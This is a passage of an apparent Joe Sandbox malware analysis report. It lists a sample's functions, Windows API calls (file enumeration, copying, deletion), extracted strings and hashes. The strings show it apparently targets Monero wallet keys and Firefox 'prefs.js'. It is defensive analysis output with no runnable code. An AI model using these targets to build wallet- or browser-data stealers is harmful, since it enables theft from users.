FindNextFileA.KERNEL32(000000FF,?), ref: 00DF4B7D
FindClose.KERNEL32(000000FF), ref: 00DF4B92

Strings

%s\*, xrefs: 00DF4920
%s\%s, xrefs: 00DF49A4
%s\%s, xrefs: 00DF49FB

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 380095d4a5dbc04a29b275ca1f286f20f4c62eb3ae7b897dddab061f427a95b0
Instruction ID: 339d44da82cef558c8e10f6d5863ea18bb12036d7335520e5a9c0009a4c74efe
Opcode Fuzzy Hash: 380095d4a5dbc04a29b275ca1f286f20f4c62eb3ae7b897dddab061f427a95b0
Instruction Fuzzy Hash: 136123B5600219ABCB34EFA0DC45FFA7378BB48700F048588E64A96145EF75DB858FA1

Function 00DF4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00DF4580
RtlAllocateHeap.NTDLL(00000000), ref: 00DF4587
wsprintfA.USER32 ref: 00DF45A6
FindFirstFileA.KERNEL32(?,?), ref: 00DF45BD
StrCmpCA.SHLWAPI(?,00E00FC4), ref: 00DF45EB
StrCmpCA.SHLWAPI(?,00E00FC8), ref: 00DF4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF468B
FindClose.KERNEL32(000000FF), ref: 00DF46A0
lstrcat.KERNEL32(?,00840CA0), ref: 00DF46C5
lstrcat.KERNEL32(?,0083F268), ref: 00DF46D8
lstrlen.KERNEL32(?), ref: 00DF46E5
lstrlen.KERNEL32(?), ref: 00DF46F6

Strings

%s\%s, xrefs: 00DF461B
%s\*, xrefs: 00DF459A

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 14f02d25dfa0eb84993d2f095c318582f8ab19344154ba1c993c61b0dddf7f2e
Instruction ID: bf4c2445f627a5dd8345e98d77664f5aeb5024504d2b6fc93d951e502e36dea7
Opcode Fuzzy Hash: 14f02d25dfa0eb84993d2f095c318582f8ab19344154ba1c993c61b0dddf7f2e
Instruction Fuzzy Hash: EC5123B56002189BCB74EF70DC89FEE7378AB58300F408598E64A96184EF75DA848FB1

Function 00DF3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DF3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00DF3EDA
StrCmpCA.SHLWAPI(?,00E00FAC), ref: 00DF3F08
StrCmpCA.SHLWAPI(?,00E00FB0), ref: 00DF3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF406C
FindClose.KERNEL32(000000FF), ref: 00DF4081

Strings

%s\%s, xrefs: 00DF3EB7

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e8520b4b8f4837c8cb3ada460dbeb4ebe3c79c894f8b8331a47ee5a618d61eeb
Instruction ID: 2c512ea902ea89844b1e84b1cf480036bb931db533f3a7c04085db185045886c
Opcode Fuzzy Hash: e8520b4b8f4837c8cb3ada460dbeb4ebe3c79c894f8b8331a47ee5a618d61eeb
Instruction Fuzzy Hash: 24510FB6A00219ABCB34EBA0DC85EFA7378BB44300F548588F75996044DE75EB858F71

Function 00DEED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DEED3E
FindFirstFileA.KERNEL32(?,?), ref: 00DEED55
StrCmpCA.SHLWAPI(?,00E01538), ref: 00DEEDAB
StrCmpCA.SHLWAPI(?,00E0153C), ref: 00DEEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEF2AE
FindClose.KERNEL32(000000FF), ref: 00DEF2C3

Strings

%s\*.*, xrefs: 00DEED32

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: a2fbf02b856bdcb9171906bbdd39cbc8d372ae890657982c64cce3e087f5df3b
Instruction ID: 71b2db4655cba358bf1d4ebcbb55f5ba147223b21216aa91ceb102cf5cd7107e
Opcode Fuzzy Hash: a2fbf02b856bdcb9171906bbdd39cbc8d372ae890657982c64cce3e087f5df3b
Instruction Fuzzy Hash: CFE10FB191111C9ADB24FB64CC52EFE7338EF54340F4581A9B60E66096EE706B8ACF71

Function 00DEF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E015B8,00E00D96), ref: 00DEF71E
StrCmpCA.SHLWAPI(?,00E015BC), ref: 00DEF76F
StrCmpCA.SHLWAPI(?,00E015C0), ref: 00DEF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEFAB1
FindClose.KERNEL32(000000FF), ref: 00DEFAC3

Strings

prefs.js, xrefs: 00DEF812

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 510cc5aec4019a64ab1a5c43cb20a3cd950a5faf1e5969ab966134be55378e64
Instruction ID: b4b45876fc47bef5d8aad456dfd2339c5e6b95d1847a2a80951bbe4b2c223884
Opcode Fuzzy Hash: 510cc5aec4019a64ab1a5c43cb20a3cd950a5faf1e5969ab966134be55378e64
Instruction Fuzzy Hash: A2B131B19001189BCB24FF64DC95AFD7379EF54300F41C1A8A50E9A185EE706B49CBB1

Function 011B2E2B Relevance: 15.4, Strings: 11, Instructions: 1630COMMON

Download Yara Rule

Strings

^__, xrefs: 011B2EFF
/w, xrefs: 011B37E7
|,^w, xrefs: 011B35EF
ZN1', xrefs: 011B3CBC
{}}, xrefs: 011B3919
12&}, xrefs: 011B3C02
igO], xrefs: 011B35B2
Gr, xrefs: 011B37B7
v;$!, xrefs: 011B3373
?E#a, xrefs: 011B338B
Xbkw, xrefs: 011B3DB2

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Gr$12&}$?E#a$Xbkw$ZN1'$^__$igO]$v;$!${}}$|,^w$/w
API String ID: 0-2742724478
Opcode ID: d93f72923cc64e00bd76540348d9f29dd8f5d09c1812936b069db19197a9d216
Instruction ID: c6cac108c955ea07d54f6e742fc1c8393a2645921b7f3c7efe08b90ec8d56faa
Opcode Fuzzy Hash: d93f72923cc64e00bd76540348d9f29dd8f5d09c1812936b069db19197a9d216
Instruction Fuzzy Hash: A3B2E6B360C314AFE3046E2DEC85A6AFBE9EF94620F1A493DE6C4C3744E67558018796

Function 00DE16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E0510C,?,?,?,00E051B4,?,?,00000000,?,00000000), ref: 00DE1923
StrCmpCA.SHLWAPI(?,00E0525C), ref: 00DE1973
StrCmpCA.SHLWAPI(?,00E05304), ref: 00DE1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DE1D40
DeleteFileA.KERNEL32(00000000), ref: 00DE1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00DE1E20
FindClose.KERNEL32(000000FF), ref: 00DE1E32

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Strings

\*.*, xrefs: 00DE17F1

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 982d35051947c182fc0cb814baf96276e9814ac73be09fe8e8c82d211706fce8
Instruction ID: c46180d4676962ebe346c86c4c92947ff804344e076e73af1ef532fc7e9f4c6d
Opcode Fuzzy Hash: 982d35051947c182fc0cb814baf96276e9814ac73be09fe8e8c82d211706fce8
Instruction Fuzzy Hash: 5612FBB191011C9ACB15FB64CC96AFE7378EF54340F4581A9A60E66091EF706F89CFB1

Function 00DEDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00E00C2E), ref: 00DEDE5E
StrCmpCA.SHLWAPI(?,00E014C8), ref: 00DEDEAE
StrCmpCA.SHLWAPI(?,00E014CC), ref: 00DEDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEE3E0
FindClose.KERNEL32(000000FF), ref: 00DEE3F2

Strings

\*.*, xrefs: 00DEDE26

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c997866e808f1e9350298de319211b44953c27662ce2057ae87e2b42c7fa0ad6
Instruction ID: 776fec258f9195a11cb7f4d3ecbbe8e61c86cc9f27cef1966d55fcdfef305382
Opcode Fuzzy Hash: c997866e808f1e9350298de319211b44953c27662ce2057ae87e2b42c7fa0ad6
Instruction Fuzzy Hash: 03F1CEB191012C9ACB25FB64CC95AFE7338EF14340F8581E9A50E66095EF706B89CF71

Function 00DEDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E014B0,00E00C2A), ref: 00DEDAEB
StrCmpCA.SHLWAPI(?,00E014B4), ref: 00DEDB33
StrCmpCA.SHLWAPI(?,00E014B8), ref: 00DEDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEDDCC
FindClose.KERNEL32(000000FF), ref: 00DEDDDE

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 1933c7bd46935d337dd3ce7b6e7a626794bd32cd3bf5f6a4f7193d5396bc1aa3
Instruction ID: ed6aa1e9f34d9809eb4dc882e21a7f5dad8716b5b7646231b2bfd773e1a64d4e
Opcode Fuzzy Hash: 1933c7bd46935d337dd3ce7b6e7a626794bd32cd3bf5f6a4f7193d5396bc1aa3
Instruction Fuzzy Hash: E19130B2A0020897CB14FB74DC969FD737DEF84340F41C568F95A96185EE74AB098BB2

Function 011A3DC1 Relevance: 11.6, Strings: 8, Instructions: 1622COMMON

Download Yara Rule

Strings

!s.o, xrefs: 011A4EE7
0r\~, xrefs: 011A46F6
5l3Q, xrefs: 011A3E3E
v^__, xrefs: 011A4397
F)6, xrefs: 011A4ED5
5., xrefs: 011A3E72
W^<>, xrefs: 011A4C79
t@/-, xrefs: 011A4AEC

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !s.o$0r\~$5l3Q$F)6$W^<>$t@/-$v^__$5.
